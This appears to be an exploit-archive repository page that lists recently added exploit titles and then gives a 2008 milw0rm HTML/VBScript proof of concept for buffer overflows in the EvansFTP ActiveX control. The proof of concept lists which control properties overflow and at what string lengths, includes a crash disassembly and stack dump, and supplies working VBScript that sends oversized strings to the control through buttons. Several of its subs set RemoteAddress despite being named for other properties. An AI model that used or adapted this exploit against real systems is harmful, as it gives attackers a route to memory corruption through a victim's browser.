477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
98 lines
3.3 KiB
HTML
Executable file
98 lines
3.3 KiB
HTML
Executable file
<HTML>
|
|
<package><job id='DoneInVBS' debug='false' error='true'>
|
|
<object classid='clsid:7E864D3E-3E6A-48F0-88AF-CEAEE322F9FD' id='beard' />
|
|
<HEAD>
|
|
<TITLE>EvansFTP (EvansFTP.ocx) Remote Buffer Overflow PoC</TITLE>
|
|
</HEAD>
|
|
<BODY>
|
|
[+] Application : EvansFTP ActiveX <br>
|
|
[+] CompanyName : Evans Programming <br>
|
|
[+] Description : Multi-threaded asynchronus Active-X FTP Control<br>
|
|
[+] Lib GUID : {DA3C77F4-8701-11D4-908B-00010268221D}<br>
|
|
[+] Exploit : Remote BoF (PoC)<br>
|
|
[+] Author : Bl@ckbe@rD // Blackbeard-sql{a.t}Hotmail{dot}fr<br><br>
|
|
[+] Object Safety Report :<br>
|
|
Report for Clsid: {7E864D3E-3E6A-48F0-88AF-CEAEE322F9FD}<br>
|
|
RegKey Safe for Script: Faux<br>
|
|
RegKey Safe for Init: Faux<br>
|
|
Implements IObjectSafety: Vrai<br>
|
|
IDisp Safe: Safe for untrusted: caller,data <br>
|
|
IPStorage Safe: Safe for untrusted: caller,data <br><br>
|
|
RegKey Safe for Script: Faux<br>
|
|
RegkeySafe for Init: Faux<br>
|
|
KillBitSet: Faux<br>
|
|
<br><br>
|
|
The Proprieties (RemoteAddress,ProxyPrefix,ProxyName,Password,ProxyBypassList,LoginName,CurrentDirectory) suffers from Buffer Overflow when we pass long strings in fact : <br>
|
|
1- RemoteAddress suffers from a BoF when we pass a string over 2068 <br>
|
|
2- ProxyPrefix suffers from a BoF when we pass a string over 1044 <br>
|
|
3- ProxyName suffers from a BoF when we pass a string over 1044 <br>
|
|
4- Password suffers from a BoF when we pass a string over 1044 <br>
|
|
5- ProxyBypassList suffers from a BoF when we pass a string over 1044 <br>
|
|
6- LoginName suffers from a BoF when we pass a string over 1044 <br>
|
|
7- CurrentDirectory suffers from a BoF when we pass a string over 1044 <br><br>
|
|
DisASM RemoteAddress Crash :<br><pre>
|
|
7C809EEC MOV AL,[EDX] (KERNEL32.dll)
|
|
|
|
7C809ED4 TEST EDX,EDX
|
|
7C809ED6 JE 7C80C858
|
|
7C809EDC LEA EDI,[EDX+EAX-1]
|
|
7C809EE0 CMP EDI,EDX
|
|
7C809EE2 JB 7C80C858
|
|
7C809EE8 AND DWORD PTR [EBP-4],0
|
|
7C809EEC MOV AL,[EDX] <--- CRASH
|
|
|
|
EBP+8 FEEEFEEE
|
|
Stack Dump:
|
|
13FC18 A7 F3 01 66 EE FE EE FE 04 00 00 00 02 00 00 00
|
|
|
|
</pre>
|
|
<script language='vbscript'>
|
|
Sub RemoteAddress
|
|
arg1=String(2068, "A")
|
|
beard.RemoteAddress = arg1
|
|
End Sub
|
|
|
|
Sub ProxyPrefix
|
|
arg1=String(1044, "A")
|
|
beard.RemoteAddress = arg1
|
|
End Sub
|
|
|
|
Sub ProxyName
|
|
arg1=String(1044, "A")
|
|
beard.RemoteAddress = arg1
|
|
End Sub
|
|
|
|
Sub Password
|
|
arg1=String(1044, "A")
|
|
beard.RemoteAddress = arg1
|
|
End Sub
|
|
|
|
Sub ProxyBypassList
|
|
arg1=String(1044, "A")
|
|
beard.RemoteAddress = arg1
|
|
End Sub
|
|
|
|
Sub LoginName
|
|
arg1=String(1044, "A")
|
|
beard.RemoteAddress = arg1
|
|
End Sub
|
|
|
|
Sub CurrentDirectory
|
|
arg1=String(1044, "A")
|
|
beard.RemoteAddress = arg1
|
|
End Sub
|
|
</script><br><br>
|
|
|
|
<INPUT TYPE="button" VALUE="RemoteAddress PoC" ONCLICK=RemoteAddress()>
|
|
<INPUT TYPE="button" VALUE="ProxyPrefix PoC" ONCLICK=ProxyPrefix()>
|
|
<INPUT TYPE="button" VALUE="ProxyName PoC" ONCLICK=ProxyName()>
|
|
<INPUT TYPE="button" VALUE="Password PoC" ONCLICK=Password()>
|
|
<INPUT TYPE="button" VALUE="ProxyBypassList PoC" ONCLICK=ProxyBypassList()>
|
|
<INPUT TYPE="button" VALUE="LoginName PoC" ONCLICK=LoginName()>
|
|
<INPUT TYPE="button" VALUE="CurrentDirectory PoC" ONCLICK=CurrentDirectory()><br><br>
|
|
Brought to You by Bl@ckbe@rD<br>
|
|
Peace xD
|
|
</BODY>
|
|
</HTML>
|
|
|
|
# milw0rm.com [2008-12-14]
|